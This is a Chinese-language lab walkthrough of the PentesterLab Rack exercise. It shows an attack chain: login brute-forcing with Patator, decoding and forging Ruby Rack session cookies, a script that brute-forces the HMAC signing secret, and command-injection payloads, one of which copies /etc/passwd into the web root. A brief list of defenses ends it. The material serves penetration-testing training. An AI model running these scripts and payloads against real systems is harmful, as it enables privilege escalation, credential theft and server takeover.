Cookie篡改与命令注入
字数 1713 2025-08-18 11:37:42
Cookie篡改与命令注入技术详解
1. 概述
本文详细讲解在Ruby/Rack框架环境中利用Cookie篡改进行权限提升,以及后续的命令注入攻击技术。这两种技术结合使用可以构成完整的攻击链,从普通用户权限提升到管理员权限,最终获取服务器控制权。
2. 环境准备
2.1 测试环境搭建
- 下载测试环境:https://pentesterlab.com/exercises/rack_cookies_and_commands_injection
- 环境特点:基于Ruby/Rack框架的Web应用,使用Phusion Passenger 3.0.12运行在Debian服务器上
2.2 工具准备
- Burp Suite:用于HTTP流量分析
- Patator:多协议暴力破解工具
- Ruby环境:用于解码和修改Cookie
- Netcat/Telnet:端口扫描
3. 攻击流程
3.1 指纹识别
-
使用Burp Suite抓包分析HTTP头信息:
- 服务器:Apache 2.2.16
- 应用服务器:Phusion Passenger 3.0.12
- 操作系统:Debian
- 重定向行为:HTTP 302响应
-
端口扫描:
nc -zv 目标IP 1-1000
3.2 暴力破解登录
当SQL注入尝试失败时,采用暴力破解:
-
使用Patator进行暴力破解:
patator http_fuzz url=http://目标地址/login method=POST body='login=FILE0&password=FILE0' 0=~/123.txt accept_cookie=1 follow=1 -x ignore:fgrep='DNS Manager Login' -l /tmp/参数说明:
http_fuzz:使用HTTP暴力破解模块url=:目标URLmethod=POST:使用POST方法body=:请求体内容accept_cookie=1:接受服务器返回的Cookiefollow=1:跟随重定向-x ignore:fgrep='DNS Manager Login':忽略包含特定文本的响应
3.3 Cookie篡改提权
3.3.1 Cookie分析
成功登录后,服务器返回rack.session Cookie,有两种形式:
- 简单字符串形式
- 字符串和签名分隔形式(使用
--分隔)
3.3.2 Cookie解码
Rack Cookie编码过程:
- 使用Ruby的
Marshal.dump序列化对象 - 结果使用Base64编码
- 进行URL编码
解码步骤:
- 提取Cookie值(去除名称、选项和签名)
- URL解码和Base64解码
- 使用
Marshal.load加载对象
解码Ruby脚本:
#encoding: utf-8
require "net/http"
require "uri"
require 'pp'
require 'base64'
require 'data_mapper'
class User
attr_accessor :admin # 添加此行以访问admin属性
end
# 远程主机配置
DataMapper.setup(:default,'sqlite3::memory')
URL = "http://目标地址/login"
# 创建URL对象
url = URI.parse(URL)
creds = "test" # 使用爆破得到的凭证
# 认证
resp = Net::HTTP.start(url.host, url.port) do |http|
http.post(url.request_uri, "login=#{creds}&password=#{creds}")
end
# 获取Cookie
c = resp.header['Set-Cookie'].split("=")[1].split("; ")[0]
cookie, signature = c.split("--")
decoded = Base64.decode64(URI.decode(cookie))
begin
# 加载对象
object = Marshal.load(decoded)
pp object
rescue ArgumentError => e
puts "ERROR: "+e.to_s
end
3.3.3 篡改Cookie
-
对于未签名的Cookie:
- 解码后直接修改admin属性
- 重新编码:
object["user"].admin = true nc = Base64.encode64(Marshal.dump(object))
-
对于签名的Cookie:
- 需要找到签名密钥
- 使用以下方法生成HMAC签名:
def generate_hmac(data, secret) OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data) end
暴力破解签名密钥的脚本:
require 'openssl' require 'uri' require 'pp' COOKIES= "获取到的完整Cookie值" def sign(data, secret) OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data) end value, signed = COOKIES.split("--",2) value = URI.decode(value) File.readlines(ARGV[0]).each do |c| c.chomp! if sign(value, c) == signed puts "Secret found: "+c exit end end -
重新签名并提交篡改后的Cookie:
object["user"].admin = true nc = Base64.encode64(Marshal.dump(object)) ns = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, "secret", nc) newcookie = URI.encode(nc).gsub("=","%3D")+"--"+ns resp = Net::HTTP.start(url.host, url.port) do |http| http.get("/", {"Cookie" => "rack.session="+newcookie }) puts resp.body end
3.4 命令注入
3.4.1 识别注入点
在管理员界面中寻找使用系统命令的功能点,特别是参数直接传递给系统命令的地方。
3.4.2 注入技术
-
基本注入方法:
- 使用反引号
`command` - 使用管道符
|、&或;分隔命令
- 使用反引号
-
测试注入:
ping -c 4 127.0.0.1 # 测试延迟 sleep 5 # 测试时间延迟 -
实际注入示例:
id=1&name=webmail&ip=127.0.0.1%0a`pwd`&ttl=600Ruby正则表达式的多行特性使得
%0a(换行符)可以绕过一些过滤。
3.4.3 获取命令输出
当直接输出被限制时,可以采用以下方法:
-
将结果写入Web可访问目录:
id=1&name=webmail&ip=127.0.0.1%0a`cp /etc/passwd /var/www/public/`&ttl=600然后访问:http://目标地址/passwd
-
分步获取输出:
- 使用
ls | grep -v Gemfile等命令逐步获取目录内容 - 注意参数长度限制
- 使用
4. 防御措施
4.1 防止Cookie篡改
- 使用强密钥签名Cookie
- 避免在Cookie中存储敏感信息
- 定期轮换签名密钥
- 对Cookie设置HttpOnly和Secure标志
4.2 防止命令注入
- 避免直接使用用户输入构造系统命令
- 使用白名单验证输入
- 对特殊字符进行严格过滤
- 使用安全的API替代系统命令调用
- 实施最小权限原则,限制Web服务器用户权限
5. 总结
本文详细介绍了在Ruby/Rack环境中:
- 通过分析Cookie结构实现权限提升
- 利用Ruby的序列化机制篡改会话数据
- 通过命令注入获取系统控制权
- 完整的攻击链技术实现
这些技术突显了Web应用中会话管理和输入验证的重要性,开发人员应实施多层防御来防止此类攻击。